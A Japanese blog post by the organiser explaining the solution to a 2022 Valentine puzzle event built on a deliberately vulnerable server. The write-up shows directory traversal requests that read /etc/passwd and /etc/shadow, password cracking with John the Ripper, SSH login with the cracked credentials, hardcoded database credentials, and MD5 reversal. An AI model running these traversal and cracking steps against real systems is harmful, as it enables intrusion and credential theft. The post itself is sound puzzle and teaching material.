佐藤真美

2022年バレンタインイベントの解説

2022/02/21 00:00カテゴリ: イベント

今回のバレンタインイベントにご参加いただき、ありがとうございました。
このページでは、バレンタインイベントの謎の解説をしていきます。

最初の謎

最初の謎は、お知らせページからです。
お知らせページにある画像を右クリックで保存しても、「ハズレ」と書かれた画像しか入手できません。
開発者モードで確認すると、 background-image で別の画像が埋め込まれていることがわかるので、そのファイルをダウンロードします。
その画像のプロパティを見てみると、「カメラのブランド」の欄が「ステガノグラファー」になっています。
ステガノグラファーをインストールして画像を読み込ませると、 data.tar.xz というファイルが抽出されます。
これを tar コマンドなどで展開すると、 README.txt と image.png という2つのファイルが手に入ります。
↓README.txt

                解読おめでとうございます。
                一緒に入っていたimage.pngというファイルの暗号化を解いて@jun50#3708 / 449867036558884866に送信するとゲームクリアです。
                なお、暗号化を解くカギは
                http://event.sato-mami.com/mami/valentine/login.php
                でログインすると入手できます。
                

ログインサイトの謎

README.txtに書かれているリンクにアクセスすると、ログインサイトに遷移します。
ユーザー名とパスワードで別れていて両方わからないので、パスワードを総当りするブルートフォース攻撃は現実的ではありません。
さて、ここで URL の login.php を消してみましょう。 Indexes ページが表示されます。
この Indexesページ、少し違和感があります。
イベント中に出されたヒント『絶対パス、相対パス』を思い出してください。
実は、「Index of ~」に表示されるパスが、 URL ベースの相対パスではなく、サーバー上の絶対パスであることに気づきます。
http://event.sato-mami.com/ での絶対パスは /home/ です。 /home 以下のファイルにヒントになりそうなファイルはないので、ルートディレクトリを見てみましょう。 /home から見て / は相対パスで 「../」 となります。
よって http://event.sato-mami.com/../ を見てみると、ヒントになりそうなファイルが得られそうだと推測できます。
しかし、打ち込んでアクセスしても「Index of /home/」と表示されます。これはおそらくブラウザの仕様として相対パスで上位階層にアクセスするリクエストは「/」に変換されるからだと思われます。
なので、Postmanなどの外部ツールを使用します。このサンプルでは telnet を使用します。

                $ telnet event.sato-mami.com 80
                Trying 194.135.92.179...
                Connected to event.sato-mami.com.
                Escape character is '^]'.
                GET /../ HTTP/1.0

                [中略]
                Connection closed by foreign host.
                
HTML が返ってきました。これを保存してブラウザで開いてみます。
サーバーのルートディレクトリの Indexes ページです。これでルートディレクトリの中身が得られました。
このように、意図しない上位階層へアクセスする手法は『ディレクトリトラバーサル攻撃』と呼ばれています。 IPA の情報処理安全確保支援士試験では典型問題です。
なお、これはあくまでイベントのために用意した脆弱性入りの Python で作ったウェブサーバーなので、本物の Apache では対策されています。
取れそうなデータがないか探ってみましょう。
                $ telnet event.sato-mami.com 80
                Trying 194.135.92.179...
                Connected to event.sato-mami.com.
                Escape character is '^]'.
                GET /../etc/ HTTP/1.0

                [中略]
                Connection closed by foreign host.
                
返ってきた HTML ファイルを見てみると、 /etc/ には shadow ファイルや passwd ファイルがあるようです。
passwdファイルはユーザー名やID、ログインシェルなどが書かれているファイルで、shadowファイルはハッシュ化されたパスワードが格納されたファイルです。
なお、shadowファイルは通常一般ユーザーは見られないようにパーミッションが設定されています。
                $ telnet event.sato-mami.com 80
                Trying 194.135.92.179...
                Connected to event.sato-mami.com.
                Escape character is '^]'.
                GET /../etc/passwd HTTP/1.0

                root:x:0:0:root:/root:/bin/bash
                mami:x:1000:1000::/home/mami:/bin/bash
                Connection closed by foreign host.

                $ telnet event.sato-mami.com 80
                Trying 194.135.92.179...
                Connected to event.sato-mami.com.
                Escape character is '^]'.
                GET /../etc/shadow

                root:x:19033::::::
                mami:$6$Lsc6t8iJfxQRnWG5$sVGmKbyIQzez3DHjlZaUVrZVrpcdl/HQMm5I5mPBL53vNEMr1Y3xYZ9hdVtDfiFLK3dS.SRKglfPChFXZOPra/:19034:0:99999:7:::
                Connection closed by foreign host.
                
ユーザー情報が取得できました。 root ユーザーの他に「mami」ユーザーが存在するようですね。また、 root ユーザーにはパスワードが設定されていないようです。
前述のとおり、shadowファイルはハッシュ化されているので、「John the Ripper」というハッシュ化されたパスワードを解析するツールを使用します。
                $ cat << EOF > passwd
                root:x:0:0:root:/root:/bin/bash
                mami:x:1000:1000::/home/mami:/bin/bash
                EOF

                $ cat << \EOF > shadow
                root:x:19033::::::
                mami:$6$Lsc6t8iJfxQRnWG5$sVGmKbyIQzez3DHjlZaUVrZVrpcdl/HQMm5I5mPBL53vNEMr1Y3xYZ9hdVtDfiFLK3dS.SRKglfPChFXZOPra/:19034:0:99999:7:::
                EOF

                $ unshadow passwd shadow > unshadow.txt
                
解析に使うファイルを用意して、解析します。
                $ john unshadow.txt 
                Loaded 1 password hash (crypt, generic crypt(3) [?/64])
                Press 'q' or Ctrl-C to abort, almost any other key for status
                cats             (mami)
                1g 0:00:00:06 100% 2/3 0.1506g/s 616.1p/s 616.1c/s 616.1C/s spazz..dasha
                Use the "--show" option to display all of the cracked passwords reliably
                Session completed

                $ john unshadow.txt --show
                mami:cats:1000:1000::/home/mami:/bin/bash
                1 password hash cracked, 0 left
                
これでこのサーバーのユーザー名とパスワードが「mami」 / 「cats」だとわかりました。
しかし、このユーザー名とパスワードでログインを試みると、ログインに失敗しました。どうやらこのユーザー名とパスワードではないようです。
サーバー OS 上の情報であってこのサイトの情報ではないので当然です。
なので、この情報を使ってサーバーに侵入してみます。
                $ ssh [email protected]
                [email protected]'s password: 
                mami@3tis:~$
                
ssh ログインに成功しました。認証機構を確認するため、 login.php を見てみましょう。
                mami@3tis:~$ cat /home/mami/valentine/login.php
                [前略]
            $dsn = 'mysql:dbname=vale;host=194.135.92.179';
            $user = 'vale';
            $password = 'NekomimiMaid!';

            try {
                $dbh = new PDO($dsn, $user, $password);
            } catch (PDOException $e) {
                echo "<p style='color: red;font-size: 1.2rem;'>データベースエラーです。</p>";
                exit;
            }

            $sql = 'SELECT * FROM user WHERE user=:user';
            $prepare = $dbh->prepare($sql);
            $prepare->bindValue(':user', $_POST["user"], PDO::PARAM_STR);
            $prepare->execute();
            $result = $prepare->fetchAll(PDO::FETCH_ASSOC);

            if ($result[0]['pw'] === md5($_POST["password"])) {
                require("congratulations.php");
                congratulations();
                exit;
            } else {
                echo <"p style='color: red;font-size: 1.2rem;'>データベース上のパスワードと合致しませんでした。</p>";
            }
        [後略]
                
この PHP ファイルからは
1.データベースのホスト、ユーザー名、パスワードがハードコードされている
2.サーバー上のパスワードは MD5 でハッシュ化されている
3.パスワードの認証に成功すると congratulations.php の congratulations 関数が呼び出される
ということがわかりました。
congratulations.php を見てみましょう。
                mami@3tis:~$ cat /home/mami/valentine/congratulations.php 
                cat: /home/mami/valentine/congratulations.php: Permission denied
                
パーミッションがなく、閲覧することができないようです。先ほど取得した情報からデータベースに接続してみます。
                $ mysql --host=194.135.92.179 -u vale -p
                Enter password: 
                mysql> use vale;
                Database changed
                mysql> SELECT * FROM user;
                +----------------+----------------------------------+
                | user           | pw                               |
                +----------------+----------------------------------+
                | mamitantokucho | 8384c07fd836a700cf1d3b2237c1e6d7 |
                +----------------+----------------------------------+
                1 row in set (0.28 sec)
                
ユーザー名とハッシュ化されたパスワードを入手できました。MD5はセキュリティ的に弱いので、レインボーテーブルで簡単に元に戻せます。
適当なサイトで復号化してみると、パスワードが「kawaee」であることがわかりました。
これを使ってログインを試みると、ログインに成功しました。
しかし、「アクセスしようとしているサイトを見つけられません」と表示されています。また、アドレス欄は「admintool.mami」となっています。
「.mami」という TLD は存在しません。権威を持っている DNS サーバーがなく、 DNS からは IP アドレスを入手することができません。
ここで、 /etc/ に入っていた他のファイルを見てみましょう。
                mami@3tis:~$ cat /etc/hosts
                127.0.0.1 localhost
                127.0.1.1 ubuntu

                160.251.23.81 admintool.mami

                # The following lines are desirable for IPv6 capable hosts
                ::1     ip6-localhost ip6-loopback
                fe00::0 ip6-localnet
                ff00::0 ip6-mcastprefix
                ff02::1 ip6-allnodes
                ff02::2 ip6-allrouters
                
/etc/hosts に admintool.mami の文字が確認できました。 /etc/hosts はホスト名と IP アドレスの対応表です。
これを自分のパソコンの /etc/hosts に書いてアクセスしてみます。
                    管理画面へようこそ

                    佐藤真美システムの復号に使用するパスワードを記述します。

                    また、暗号方式はaes-256-cbcです。

                    パスワード: Ma3tanKawa11Suk1Suk1Da1suk1
                
成功です!

image.png の復号

前項でやっと復号のために鍵を入手することができました。あとは openssl コマンドで復号するだけです。

                    $ openssl enc -aes-256-cbc -d -in image.png -out clear.png
                    enter aes-256-cbc decryption password:
                    *** WARNING : deprecated key derivation used.
                    Using -iter or -pbkdf2 would be better.
                    

謎解きクリアです!おめでとうございます!